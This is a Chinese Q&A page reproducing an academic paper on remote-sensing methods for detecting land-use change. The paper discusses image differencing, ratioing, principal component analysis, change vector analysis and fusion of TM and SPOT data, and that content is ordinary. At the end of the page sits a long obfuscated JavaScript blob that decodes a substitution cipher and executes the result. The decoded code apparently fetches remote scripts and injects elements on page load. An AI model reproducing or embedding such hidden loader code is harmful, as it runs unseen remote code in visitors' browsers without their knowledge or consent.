基于不同数据源的土地利用变化遥感动态监测方法

2025-02-15 16:24:06
推荐回答(1个)
回答1:

李翔宇 樊彦国

(中国石油大学地球资源与信息学院,山东东营,257061)

摘要:本文从所拥有的遥感数据源的可能情况出发,分别介绍了各种情况下利用遥感进行土地利用变化动态监测的方法,分析了其优势和劣势。

关键词:遥感;土地利用变化;动态监测;方法

1 引言

我国是一个人多地少的国家,土地是我们赖以生存的资源。建立土地动态监测系统以快速准确地提供各类土地资源面积及其分布、土地资源动态变化状况及土地资源生态环境信息是十分必要的,这样可以保证我国在科学翔实的资料基础上对土地资源进行科学的规划及合理的利用,实现土地资源的可持续健康发展。可是传统的统计或实地调查方式,耗时耗力,劳民伤财,并且难以适应土地利用的快速变化,而遥感可以提供及时准确且覆盖面广的地面影像资料,并且周期短、信息量大,通过后期的分析、处理、比较,可以使人们迅速准确地掌握土地利用变化的详细信息,即实现土地利用的动态监测。现在,遥感技术已成为进行土地利用变化动态监测的重要手段。

基于遥感影像的土地利用变化监测方法大致可分为两类:光谱直接比较法和分类结果比较法。多数变化提取算法属于前一种,主要包括影像差值法、比值法、主成分分析法和变化矢量分析法等,这些算法直接通过两时相数据的光谱差异确定变化发生的区域,但不能得出变化图斑的类型;后一种方法通过对各自时相的数据进行土地利用分类,通过对两个分类结果的比较提取变化信息,但其精度受两时相数据分类精度的制约。实际操作中可以根据所持有数据源的不同而采用相应的方法。

2 基于单一传感器的土地利用变化监测方法

2.1 基于单一传感器多时相遥感影像

当遥感数据源为单一传感器但可以获得多时相遥感影像时,可以考虑以下几种方法。

2.1.1 单变量图像差值法[1]

单变量图像差值法比较简单,是使用最广泛的一种探测方法。它是将两个时相的遥感图像按波段进行逐像元相减,从而生成一幅新的代表二时相间光谱变化的差值图像。辐射值的显著变化代表了土地覆盖变化,在差值图像中接近于零的像元就被看做是未变化的,而那些大于或小于零的像元表示其覆盖状况发生了某种变化,从而设定适当的阈值就可以把变化信息提取出来。

2.1.2 图像比值法[1,2]

比值处理被认为是辨识变化区域相对较快的手段。它是对于两个时相多谱段数据中同名像元的光谱灰度值施以除法运算。显然,经过辐射配准后,在图像中未发生变化的像元其比值应近似为1,而对于变化像元而言,比值将明显高于或低于1。比值法可以部分地消除阴影影响,突出某些地物间的反差,具有一定的图像增强作用。

2.1.3 图像回归法[1]

图像回归法是首先假定时相Ⅰ的像元值是另一时相Ⅱ像元值的一个线性函数,通过最小二乘法来进行回归,然后再用回归方程计算出的预测值来减去时相Ⅰ的原始像元值,从而获得两时相的回归残差图像。

2.1.4 植被指数差值法[2]

植被指数差值法是用近红外与红光波段间的比值(植被指数)代替原始波段作为输入数据进行差值运算来生成变化图像。由于植物普遍对红光强烈吸收和对近红外光强烈反射,因此红光和近红外波段之间的比值有利于提高光谱差异。

2.1.5 主成分分析法[3]

(1)差异主成分法 两时相的影像经纠正、配准之后,先对影像作相差取绝对值处理,从而得到一个差值影像。差值影像作主成分变换之后的第一分量应该集中了该影像的主要信息,即原两时相影像的主要差异信息。这个分量可以被认为是变化信息而被提取出来,从而生成变化模板,作为指导下一步变化类型确认和边界确定的参考信息。

(2)多波段主成分变换 由遥感理论可得知,地物属性发生变化,必将导致其在影像某几个波段上的值发生变化,所以只要找出两时相影像中对应波段上值的差别并确定这些差别的范围,便可发现土地利用变化信息。在具体试验中将两时相的影像各波段进行组合,成一个两倍于原影像波段数的新影像,对该影像作主成分变换。由于变换结果前几个分量上集中了两个影像的主要信息,而后几个分量则反映出了两影像的差别信息,因此可以抽取后几个分量进行波段组合来产生出变化信息。一般说来,在上述多波段主成分变换之后,采用0、1、2分量进行波段组合能较好地反映出新旧时相影像的变化部分。

(3)主成分差异法 本方法和差异主成分方法所不同之处在于影像作主成分变换与差值处理的顺序不一样。要求先对两时相的影像作主成分变换,然后对变换结果作差值,取差值的绝对值为处理结果。在实际的试验中,两时相影像作主成分变换后相差的第一分量已经涵盖了几乎所有的变化信息。因此,可以认为这一分量属于影像的变化信息。

2.1.6 变化向量分析法[1]

由于多时相遥感数据中任一像元矢量都可用多维测量空间中的一个点来表示(空间的维数等于原始波段数),通过对不同时相下的同名像元矢量进行相减所得到的变化矢量就可以用于描述该像元第一时相 t1 到第二时相 t2 期间在多维空间中所发生的位置变化。其中变化矢量的模代表了变化的强度,而方向则指示了发生变化的类型。设时相 t1、t2 图像的像元灰度矢量分别为 G=(g1,g2,…,gkT 和H=(h1,h2,…,hkT,则变化矢量为:ΔG=G -H。ΔG 包含了两幅图像中所有变化信息。变化强度由变化矢量的模||ΔG||决定,||ΔG||越大,表明图像的差异越大,变化发生的可能性越大。因此,提取变化和非变化像元,可根据变化强度||ΔG||的大小设定阈值来实现,即像元||ΔG||超过某一阈值时,即可判定为土地利用类型发生变化的像元;而变化的类型,可由ΔG的指向确定。

这种方法利用多频段信息,在提取变化位置的同时可以得到变化类型信息,是一种较理想的算法。当然,要用好变化向量分析法还取决于分析过程中变化/未变化阈值是否取值合理以及相关分类方法是否适当。

2.1.7 分类后比较法

分类后比较法是对两期遥感影像进行监督或非监督分类,然后比较在各图像系列同一位置上的分类结果,进而确定土地利用类型变化的位置和所属类型。该方法可直接获得变化类型信息,但如何选择合适的分类方法提高分类精度是准确获得变化信息类型的关键。

2.1.1至2.1.6均属于光谱直接比较法,此方法对变化比较敏感,可以避免分类过程所导致的误差,但需要进行严格的辐射标准化,排除大气状况、太阳高度角、土壤湿度、物候等“噪声”因素对图像光谱的影响,由于目前对各种干扰(尤其是物候)导致的辐射差异的校正方法仍不成熟,因此,只能通过选择同一传感器、同一季相的数据来尽可能减小“噪声”。同时光谱直接比较法只注重变化像元的提取,而不能提供变化中土地类型的转化信息(如地类属性)。与之相对照,分类后比较法对辐射纠正要求相对较低,适用于不同传感器、不同季相的数据的比较,同时该方法不仅可以提供变化信息,而且还能够给出各时期的土地利用类型信息。但这种方法的最终精度受到影像分类精度的限制,而且它对影像的全部范围都要进行分类计算而不管它们是否已经发生变化,这样无疑大大增加了变化信息检测的计算量。

在目前的土地利用遥感监测研究中,结合光谱直接比较法和分类后比较法的混合动态监测方法逐渐受到重视,并有了一些成功的案例研究。Jenson 通过对湿地变化的动态监测研究表明:先利用光谱直接比较探测变化区,再进行图像分类确定变化类型的混合法是一种非常有效的变化检测方法[4];Macleod和Congalton的研究也表明以差值法为基础的混合动态监测法优于传统分类后比较法[5]。这样可以集两者之所长,取得更好的监测效果。

2.2 基于单一传感器单时相遥感影像

无论是光谱直接比较法还是分类后比较法都是基于多个时相的遥感影像来进行土地利用变化监测。而当前期遥感影像无法或者难以获得的情况下,依靠后期的单时相遥感影像与前期的土地利用现状图也可以进行动态监测,这就是采用将土地利用现状图叠加在遥感图像上的方法来监测土地利用变化情况[6]。具体说来,是利用土地利用现状图中不变的明显地物标志(如线状地物交叉点)作为控制点对遥感图像进行配准,然后将土地现状图叠加再校正后的遥感图像上,检查各图斑是否吻合,若图斑的角点有偏移,则发生变化。可通过遥感图像辨识当前的土地利用类型,而土地利用现状图含有先期的土地利用类型信息,所以可以比较容易地辨识土地利用类型的变更情况,并可测算出变化图斑的面积。若其中有不能确定的图斑,可以辅以外业调查,以提高监测精度。

3 基于多源遥感的土地利用变化信息监测方法

不同传感器都具有各自的优势,获得的图像各有所长,如美国陆地卫星(Landsat)TM图像光谱信息丰富;法国SPOT卫星图像具有全色通道而空间分辨率高;SAR图像不受光照条件的影响而且几乎不受大气和云层的干涉,可用于探测地物的复介电常数和表面的粗糙度等等。利用不同传感器的多源遥感影像进行融合,可以使其优势互补,在此基础上的土地利用变化动态监测已成为国际遥感界研究的主题之一。以TM影像和SPOT影像为例,目前应用多光谱TM和全色SPOT数据融合的方法主要有LAB变换、HIS变换、线性复合与乘积运算、比值运算、BROVEY 变换、高通滤波变换(HPH)和主成分分析(PCA)等方法[7],经上述算法融合后的图像可以有效地同时保留SPOT高分辨率图像的精细纹理和TM多光谱图像的丰富色彩信息,从而有利于提高图像的空间分辨率和光谱分辨率,为发生变化的地类图斑的提取提供良好的数据源基础。

3.1 光谱特征变异法[8]

针对基于多源遥感的土地利用变化监测,变化信息的提取方法除了2.1所述方法之外还可以选择光谱特征变异法。

同一地物反映在SPOT影像上的信息是与其反映在TM影像上的光谱信息一一对应的。因此作TM和SPOT影像融合时,才能如实地显示出地物的正确光谱属性。但如果两者信息表现为不一致时,那么融合后影像的光谱就表现得与正常地物有所差别,此时就称地物发生了光谱特征变异(例如同一位置,前期在遥感影像上呈现为绿色的麦地,后期新修道路在影像上呈现较亮的灰度,那么叠加之后会呈现一条绿色的道路,与正常地物相异),这部分影像在整个的影像范围内是不正常和不协调的,这些地物可以通过影像判读的方法勾绘出来,这种变化信息提取的方法具有物理意义明显、简洁的特点。但是经过试验发现,发生光谱特征变异的地物在几何尺寸上要足够的大才能被人工目视发现。此外,该方法的效率还受到被监测区地物光谱特性的限制。

3.2 变化信息提取方法的选择

根据土地利用动态监测项目所获取的数据源,可将遥感数据组合分为下述几种类型,针对不同的类型要采取相应的方法以获取较好的效果。

3.2.1 具有两时相的 TM 和 SPOT 数据

这种情况是最好的。在该条件下,先对两时相的数据以某一纠正后的TM或SPOT影像(首先处理TM还是SPOT视数据的具体情况而定,原则是利于TM和SPOT数据的配准融合处理)为参考分别作纠正和配准处理,为保留并结合原始数据中纹理信息和光谱信息要融合相对应的TM和SPOT影像,在两时相融合影像的基础上采用主成分差异的方法来提取变化信息。另外还可以用新时相的 SPOT 影像与旧时相的 TM 影像进行融合生成光谱特征变异影像来指导发现变化的区域。

3.2.2 具有两时相的 TM 和一个时相的 SPOT 数据

在此数据源的基础上,首先仍对某一时相的TM或SPOT数据作纠正处理,然后将其他时相的TM和SPOT数据都统一以这个纠正后的TM (SPOT)为参考影像作影像到影像的纠正和配准。之后,选择光谱特征变异的方法来寻找大部分的变化信息,借助于两时相的TM影像确认变化;此外,利用主成分分析的办法对两时相的TM数据进行处理,得到变化信息模板,将模板叠置在判读影像上补充单一方法进行变化提取的遗漏。

3.2.3 具有两时相的 SPOT 和一个时相的 TM 数据

通常,前面的数据预处理纠正配准部分同3.2.2相同,然后对其中交错时相的TM和SPOT数据进行融合得到光谱特征变异影像,借助于两时相的SPOT数据发现影像中纹理信息的变化,从而辅助提取影像中的变化信息部分。除此之外,两时相的SPOT影像数据理论上说,可以直接作比较得到变化的部分,但是由于成像条件的不同,这样直接比较的方法会导致产生很多伪变化信息,干扰了真正变化部分的提取。因此,首先要对原始SPOT影像进行去噪及辐射校正等预处理,然后才能用来提取变化的信息。

3.2.4 具有单时相的 SPOT 影像和另一时相 TM 影像的数据

首先要对SPOT和TM数据进行纠正处理,然后利用纠正后的SPOT和另一时相TM影像融合得到光谱特征变异影像,并以此作为判读变化信息的主要参考数据。此外,单时相的SPOT数据可以作为新增波段加入到原始的 TM 数据中去进行主成分分析来提取变化的信息,辅助发现漏判的变化图斑。

利用遥感进行土地利用动态监测的方法非常多,这些方法各有自己的优势和劣势,实际工作中,要针对所拥有的数据源的情况,综合各方面要求来选择合适的方法,也可以综合几种方法取长补短以达到更好的监测效果。至于如何更有效地识别土地变化的类型以及如何提高分类的精度仍有很大的研究空间。

参考文献

[1]卢珏.土地利用动态监测变化信息提取算法评估[J].湖北农学院学报,2002,22 (5):394~396

[2]张银辉,赵庚星.试论土地利用遥感动态监测技术方法[J].国土资源管理,2001,18 (3):15~18

[3]杨贵军,武文波,陈步尚,夏春林.土地利用动态遥感监测中变化信息的提取方法[J].东北测绘,2003,26 (1):18~21

[4]Jensen J R,Cowen D J,Narumalani S,et al.An evaluation of coast watch change detection protocol in South Carolina [J].Photogram metric Engineering and Remote Sensing,1993,59 (6):1039~1046

[5]Macleod R D,Congalton R G.A quantitative comparison of change-detection algorithms for monitoring eelgrass from remotely sensed data [J].Photogram metric Engineering and Remote Sensing,1998,64 (3):207~216

[6]吴连喜,严泰来,张玮,薛天民,程昌秀.土地利用现状图与遥感图像叠加进行土地利用变更监测[J].农业工程学报,2001,17 (6):156~160

[7]张炳智,张继闲,张丽.土地利用动态遥感监测中变化信息提取方法的研究[J].测绘科学,2000,25 (3):46~50

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();